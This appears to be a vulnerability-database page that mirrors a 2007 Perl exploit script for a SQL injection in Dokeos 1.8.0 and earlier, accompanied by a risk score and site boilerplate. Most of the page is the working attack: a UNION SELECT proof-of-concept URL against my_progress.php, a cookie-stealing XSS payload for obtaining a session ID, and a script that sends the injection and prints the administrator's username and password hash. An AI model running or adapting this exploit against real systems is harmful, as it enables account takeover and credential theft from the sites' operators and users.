Lucene search
K

Dokeos <= 1.8.0 (my_progress.php course) Remote SQL Injection Exploit

🗓️ 24 May 2007 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 53 Views

Dokeos <= 1.8.0 Remote SQL Injection Exploi

Code

                                                #!/usr/bin/perl&nbsp;-w

#################################################################################
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;					#
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Dokeos&nbsp;&lt;=&nbsp;1.8.0&nbsp;SQL&nbsp;Injection&nbsp;Exploit&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;		#
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;					#
#&nbsp;Discovered&nbsp;by:&nbsp;Silentz&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;				#
#&nbsp;Payload:&nbsp;Admin&nbsp;Username&nbsp;&amp;&nbsp;Hash&nbsp;Retrieval&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;			#
#&nbsp;Website:&nbsp;http://www.w4ck1ng.com&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;			#
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;					#
#&nbsp;Vulnerable&nbsp;Code&nbsp;(my_progress.php):&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;			#&nbsp;
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;					#
#&nbsp;&nbsp;&nbsp;&nbsp;if(isset($_GET['course']))&nbsp;{$sqlInfosCourse&nbsp;=&nbsp;&quot;SELECT&nbsp;course.code,&nbsp;&nbsp;&nbsp;&nbsp;	#
#&nbsp;&nbsp;course.title,course.db_name,CONCAT(user.firstname,'&nbsp;',user.lastname&nbsp;,'&nbsp;/&nbsp;',&nbsp;&nbsp;#
#&nbsp;&nbsp;user.email)&nbsp;as&nbsp;tutor_infos&nbsp;FROM&nbsp;$tbl_user&nbsp;as&nbsp;user,$tbl_course&nbsp;as&nbsp;course&nbsp;INNER#
#&nbsp;&nbsp;JOIN&nbsp;$tbl_session_course&nbsp;as&nbsp;sessionCourse&nbsp;ON&nbsp;sessionCourse.course_code&nbsp;=&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#
#&nbsp;&nbsp;course.code&nbsp;WHERE&nbsp;sessionCourse.id_coach&nbsp;=&nbsp;user.user_id&nbsp;AND&nbsp;course.code=&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#
#&nbsp;&nbsp;'&quot;.$_GET['course'].&quot;'&quot;;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;				#
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;					#
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;					#
#&nbsp;PoC:&nbsp;http://victim.com/dokeos/main/auth/my_progress.php?course=-999'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;	#&nbsp;
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;UNION&nbsp;SELECT&nbsp;0,password,0,username&nbsp;FROM&nbsp;user&nbsp;where&nbsp;user_id&nbsp;=&nbsp;'1'/*&nbsp;&nbsp;&nbsp;&nbsp;	#
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;					#
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;					#
#&nbsp;Subject&nbsp;To:&nbsp;magic_quotes_gpc&nbsp;set&nbsp;to&nbsp;off&nbsp;&amp;&nbsp;have&nbsp;an&nbsp;already&nbsp;existant&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;	#&nbsp;
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;student/teacher&nbsp;account&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;			#
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;					#
#&nbsp;GoogleDork:&nbsp;Get&nbsp;your&nbsp;own!&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;				#
#&nbsp;Shoutz:&nbsp;The&nbsp;entire&nbsp;w4ck1ng&nbsp;community&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;			#&nbsp;
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;					#
#&nbsp;Notes:&nbsp;To&nbsp;obtain&nbsp;SESSION_ID&nbsp;field&nbsp;you&nbsp;can&nbsp;log&nbsp;on&nbsp;and&nbsp;XSS&nbsp;yourself,&nbsp;like&nbsp;so:&nbsp;&nbsp;&nbsp;#
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;					#
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;http://victim.com/dokeos/main/inc/lib/fckeditor/editor/plugins/&nbsp;&nbsp;&nbsp;&nbsp;	#
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ImageManager/editor.php?img=&quot;&gt;&lt;script&gt;alert(document.cookie)&lt;/script&gt;&nbsp;&nbsp;&nbsp;&nbsp;	#
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;					#&nbsp;
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Also,&nbsp;the&nbsp;amount&nbsp;of&nbsp;XSS&nbsp;vulnerabilites&nbsp;in&nbsp;this&nbsp;application&nbsp;is&nbsp;truely&nbsp;&nbsp;&nbsp;&nbsp;	#
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;unbelievable.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;				#
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;					#
#################################################################################&nbsp;

use&nbsp;LWP::UserAgent;
if&nbsp;(@ARGV&nbsp;&lt;&nbsp;2){
print&nbsp;&quot;-------------------------------------------------------------------------\r\n&quot;;
print&nbsp;&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Dokeos&nbsp;&lt;=&nbsp;1.8.0&nbsp;SQL&nbsp;Injection&nbsp;Exploit\r\n&quot;;&nbsp;
print&nbsp;&quot;-------------------------------------------------------------------------\r\n&quot;;
print&nbsp;&quot;Usage:&nbsp;w4ck1ng_dokeos.pl&nbsp;[PATH]&nbsp;[SESSION_ID]\r\n\r\n&quot;;
print&nbsp;&quot;[PATH]&nbsp;=&nbsp;Path&nbsp;where&nbsp;Dokeos&nbsp;is&nbsp;located\r\n&quot;;&nbsp;
print&nbsp;&quot;[SESSION_ID]&nbsp;=&nbsp;Session&nbsp;identifier&nbsp;of&nbsp;logged&nbsp;on&nbsp;user\r\n\r\n&quot;;
print&nbsp;&quot;e.g.&nbsp;w4ck1ng_dokeos.pl&nbsp;http://victim.com/dokeos/&nbsp;cjjjauie95inbmo5fim8m93vo1\r\n&quot;;
print&nbsp;&quot;-------------------------------------------------------------------------\r\n&quot;;
print&nbsp;&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;http://www.w4ck1ng.com\r\n&nbsp;&quot;;
print&nbsp;&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;...Silentz\r\n&quot;;
print&nbsp;&quot;-------------------------------------------------------------------------\r\n&quot;;
exit();
}

$b&nbsp;=&nbsp;LWP::UserAgent-&gt;new()&nbsp;or&nbsp;die&nbsp;&quot;Could&nbsp;not&nbsp;initialize&nbsp;browser\n&quot;;&nbsp;
$b-&gt;agent('Mozilla/4.0&nbsp;(compatible;&nbsp;MSIE&nbsp;7.0;&nbsp;Windows&nbsp;NT&nbsp;5.1)');
$cookie&nbsp;=&nbsp;&quot;$ARGV[1];&quot;;
$host&nbsp;=&nbsp;$ARGV[0]&nbsp;.&nbsp;&quot;main/auth/my_progress.php?course=-999'&nbsp;UNION&nbsp;SELECT&nbsp;0,password,0,username&nbsp;FROM&nbsp;user&nbsp;where&nbsp;user_id&nbsp;=&nbsp;'1'/*&quot;;&nbsp;

my&nbsp;@cookie&nbsp;=&nbsp;('Cookie'&nbsp;=&gt;&nbsp;&quot;dk_sid=$cookie;&quot;);
my&nbsp;$res&nbsp;=&nbsp;$b-&gt;get($host,&nbsp;@cookie);

$answer&nbsp;=&nbsp;$res-&gt;content;
if&nbsp;($answer&nbsp;=~&nbsp;/&nbsp;-&nbsp;Coach&nbsp;:&nbsp;(.*?)&lt;\/strong&gt;/){
print&nbsp;&quot;-------------------------------------------------------------------------\r\n&quot;;&nbsp;
print&nbsp;&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Dokeos&nbsp;&lt;=&nbsp;1.8.0&nbsp;SQL&nbsp;Injection&nbsp;Exploit\r\n&quot;;
print&nbsp;&quot;-------------------------------------------------------------------------\r\n&quot;;
print&nbsp;&quot;[+]&nbsp;Admin&nbsp;User&nbsp;:&nbsp;$1\n&quot;;&nbsp;
}

if&nbsp;($answer&nbsp;=~/&lt;strong&gt;([0-9a-fA-F]{32})&nbsp;-&nbsp;Coach&nbsp;:/){
print&nbsp;&quot;[+]&nbsp;Admin&nbsp;Hash&nbsp;:&nbsp;$1\n&quot;;
print&nbsp;&quot;-------------------------------------------------------------------------\r\n&quot;;
print&nbsp;&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;http://www.w4ck1ng.com\r\n&quot;;
print&nbsp;&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;...Silentz\r\n&quot;;
print&nbsp;&quot;-------------------------------------------------------------------------\r\n&quot;;
}

else&nbsp;{&nbsp;
&nbsp;&nbsp;print&nbsp;&quot;\nExploit&nbsp;Failed...\n&quot;;
}
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

24 May 2007 00:00Current
7.1High risk
Vulners AI Score7.1
53